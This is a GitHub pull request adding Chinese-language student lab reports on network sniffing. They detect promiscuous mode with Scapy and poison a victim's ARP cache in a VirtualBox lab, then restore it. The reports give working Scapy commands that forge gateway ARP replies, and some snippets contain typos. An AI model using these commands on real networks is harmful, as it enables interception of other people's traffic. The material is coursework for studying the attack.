Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Chap0x04实验报告提交 #4

Open
wants to merge 5 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added chap0x04/第四次实验/img/arp缓存.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added chap0x04/第四次实验/img/kaliip.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added chap0x04/第四次实验/img/scapy.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
114 changes: 114 additions & 0 deletions chap0x04/第四次实验/第四次实验监听实验.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,114 @@
# 第四次实验监听实验

## 实验环境

- VirtualBox 虚拟机
- 攻击者主机(Attacker):Kali Rolling
- 网关(Gateway):Debian Buster
- 靶机(Victim):xp-sp3 / Kali

## 第一个实验

### 实验准备

1. Attacker添加intnet2,保证主机、网关、靶机在同一局域网内

2. 打开kali,修改kali的配置文件,修改之后重启网卡,重新输入ip a,就可以获得kali的ip地址

![image-20230105160527668](img/kaliip.png)

3. 同理获取其余主机ip

| | ip | mac |
| :-------: | :------------: | :----------------------: |
| Attacker | 172.16.222.129 | 08:00:27:00:b0:b9 eth1 |
| Victim-XP | 172.16.222.144 | 08:00:27:22:9c:67 |
| Gateway | 172.16.222.1 | 08:00:27:25:f9:45 enp0s9 |

### 没有开启混杂模式

在靶机上检测混杂模式

```shell
ip link show enp0s3
```

![](img/检查混杂模式.png)

在攻击者主机上开启scapy

```shell
sudo scapy
pkt = promiscping("172.16.222.144")
```

检测结果

![](img/scapy.png)

查看arp缓存表,没有在eth3这块网卡有新的IP与mac对应

![](img/arp缓存.png)

### 开启混杂模式

1. 开启靶机网卡的混杂模式

```shell
sudo ip link set enp0s3 promisc on
ip link show enp0s3
```

成功开启

![](img/开启混杂模式.png)

2. Attacker继续执行上次的scapy命令

![](img/开启混杂模式之后.png)

3. 关闭混杂模式

![](img/关闭混杂模式.png)

## 第二个实验

获取当前局域网的网关 MAC 地址 构造一个 ARP 请求

```shell
arpbroadcast = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst="172.16.222.1")
arpbroadcast.show() ##查看构造好的 ARP 请求报文详情
```

发送这个 ARP 广播请求

```shell
recved = srp(arpbroadcast, timeout=2)
gw_mac = recved[0][0][1].hwsrc
```

伪造网关的 ARP 响应包 准备发送给受害者主机192.168.0.102 ARP

响应的目的 MAC 地址设置为攻击者主机的 MAC 地址

```shell
arpspoofed=ARP(op=2, psrc="192.168.0.1", pdst="192.168.0.102", hwdst="08:00:27:bd:92:09")
```

发送上述伪造的 ARP 响应数据包到受害者主机

```shell
sendp(arpspoofed)
```

## 反思总结

自我感觉本次实验完成度不高,依据老师的步骤照猫画虎完成。遇到的问题有在基本网络拓扑与网卡配置方面依旧出现了不少的问题。而且是新的拓扑图,需要去更改attacker的相关网络配置。以后需要多多练习,仔细观察。初步认识了scapy,了解了一些基本的语法与操作。

### 参考资料

[网络通信命令](https://blog.csdn.net/qq_41105501/article/details/117896789)

[Scapy](https://www.osgeo.cn/scapy/introduction.html)

https://c4pr1c3.github.io/cuc-ns/chap0x04/exp.html
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added chap0x04/第四次实验补充/img/arpspoofed.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added chap0x04/第四次实验补充/img/recover-gw.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Original file line number Diff line number Diff line change
@@ -0,0 +1,100 @@
# 第四章 网络监听实验 重新配置拓扑补充第二次实验

### 配置信息

- 网关(Debian-gw)
- MAC地址:08:00:27:ff:b8:28 /enp0s9
- IP地址:172.16.111.1
- 攻击者(attacker-kali)
- MAC地址:08:00:27:0e:95:b9
- IP地址:172.16.111.141
- 受害者(victim-kali-1)
- MAC地址:08:00:27:c5:c0:21 /eth0
- IP地址:172.16.111.130

## 实验准备

### 安装scapy

```bash
# 安装 python3
sudo apt update
sudo apt install python3 python3-pip
# 安装scrapy
pip3 install scrapy[complete]
```

![scapy-install](img/scapy-install.png)



## 实验过程

### 实验二:手工单步“毒化”目标主机的ARP缓存

以下代码均在攻击者主机 scapy 终端完成

```bash
# 获取当前局域网的网关MAC地址
# 构造一个ARP请求
arpboradcast = Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(op = 0,pdst= ="172.16.111.1")

#查看构造好的ARP报文请求
arpboradcast.show()
```

![arpbroadcast](img/arpbroadcast.png)

```bash
# 伪造一个网关的ARP响应包
# 攻击者主机准备发给受害者主机 IP:172.16.111.130
# ARP响应的目的MAC地址设置为攻击者主机的MAC地址 08:00:27:0e:95:b9
arpspoofed = Ether()/ARP(op=2,psrc="172.16.111.1",pdst="172.16.111.130",hwdst="08:00:27:0e:95:b9")

# 发送上述伪造的ARP响应数据包
sendp(arpspoofed)
```

![arpspoofed](img/arpspoofed.png)

此时,在受害者主机上查看ARP缓存,网关的MAC地址已被替换为攻击者主机的MAC地址

```bash
ip neigh
```

![replace-mac](img/replace-mac.png)

继续回到攻击者主机scapy终端

```bash
# 回复受害者主机的ARP缓存记录
## 伪装网关给受害者发送ARP响应
restoreptk1 = Ether()/ARP(op=2,psrc="172.16.111.1",hwsrc="08:00:27:ff:b8:28",pdst="172.16.111.130",hwdst"08:00:27:c5:c0:21")
sendp(restorepkt1,count=100,inter=0.2)

## (选做)
restorepkt2 = Ether()/ARP(op=2,pdst="172.16.111.1",hwdst="08:00:27:ff:b8:28",psrc="172.16.111.130",hwsrc="08:00:27:c5:c0:21")
```

![restoreptk](img/restoreptk.png)

此时,到受害者主机上准备刷新网关ARP记录

```bash
# 在受害者主机上尝试ping网关
ping 172.16.111.1
# 等ARP缓存刷新成功,退出ping
# 查看受害者主机上ARP缓存,已恢复正常网关ARP记录
ip neigh
```

![recover-gw](img/recover-gw.png)



## 参考资料

[网络安全电子教材](https://c4pr1c3.github.io/cuc-ns/chap0x04/exp.html)

[参考资料](https://github.com/CUCCS/2022-ns-public-Xuyan-cmd/tree/chap0%C3%9704)
Binary file added chap0x04/第四章第二次作业/img/1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added chap0x04/第四章第二次作业/img/2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added chap0x04/第四章第二次作业/img/3.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added chap0x04/第四章第二次作业/img/4.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added chap0x04/第四章第二次作业/img/5.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added chap0x04/第四章第二次作业/img/6.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added chap0x04/第四章第二次作业/img/7.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Original file line number Diff line number Diff line change
@@ -0,0 +1,98 @@
# 第四章网络监听第二次实验

## 相关配置信息

- kali-attacker

- 172.16.111.133

- 08:00:27:36:b5:e8

- kali-victim
- 172.16.111.117
- 08:00:27:d6:f5:93

- debian-gateway
- 172.16.111.1
- 08:00:27:b5:08:bc

## 实验准备

### scapy安装

![](img/1.png)

## 实验内容

### 实验2 手工单步“毒化”目标主机ARP缓存

```shell
arpbroadcast = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst="172.16.111.1")
arpbroadcast.show()
```

![](img/2.png)

```shell
# 发送这个 ARP 广播请求
recved = srp(arpbroadcast, timeout=2)
# 网关 MAC 地址如下
gw_mac = recved[0][0][1].hwsrc
```

![](img/3.png)

```shell
# 准备发送给受害者主机
# ARP 响应的目的 MAC 地址设置为攻击者主机的 MAC 地址
# 加一层Ethernet帧头
arpspoofed = Ether()/ARP(op=2, psrc="172.16.111.1", pdst="172.16.111.117", hwdst="08:00:27:36:b5:e8")
# 发送上述伪造的 ARP 响应数据包到受害者主机
sendp(arpspoofed)
```

![](img/4.png)

```shell
#此时在受害者主机上查看 ARP 缓存会发现网关的 MAC 地址已被「替换」为攻击者主机的 MAC 地址
ip neigh
```

![image-20230107164126419](img/6.png)

```shell
# 恢复受害者主机的 ARP 缓存记录
## 伪装网关给受害者发送 ARP 响应
restorepkt1 = ARP(op=2, psrc="172.16.111.1", hwsrc="08:00:27:b5:08:bc", pdst="172.16.111.117", hwdst="08:00:27:d6:f5:93")
sendp(restorepkt1, count=100, inter=0.2)
```

![](img/5.png)

```shell
此时在img/受害者主机上准备“刷新”网关 ARP 记录。
## 在受害者主机上尝试 ping 网关
ping 172.16.111.1
## 静候几秒 ARP 缓存刷新成功,退出 ping
## 查看受害者主机上 ARP 缓存
ip neigh
```

![image-20230107163420221](img/7.png)

## 参考资料

- [网络安全电子教材](https://c4pr1c3.github.io/cuc-ns/chap0x04/exp.html)

- [参考资料](https://github.com/CUCCS/2022-ns-public-Xuyan-cmd/tree/chap0%C3%9704)
- [wireshark](https://www.jianshu.com/p/91e0f8bea7f7)
- [Scapy中的ARP](https://stackoverflow.com/questions/50703738/what-is-the-meaning-of-the-scapy-arp-attributes)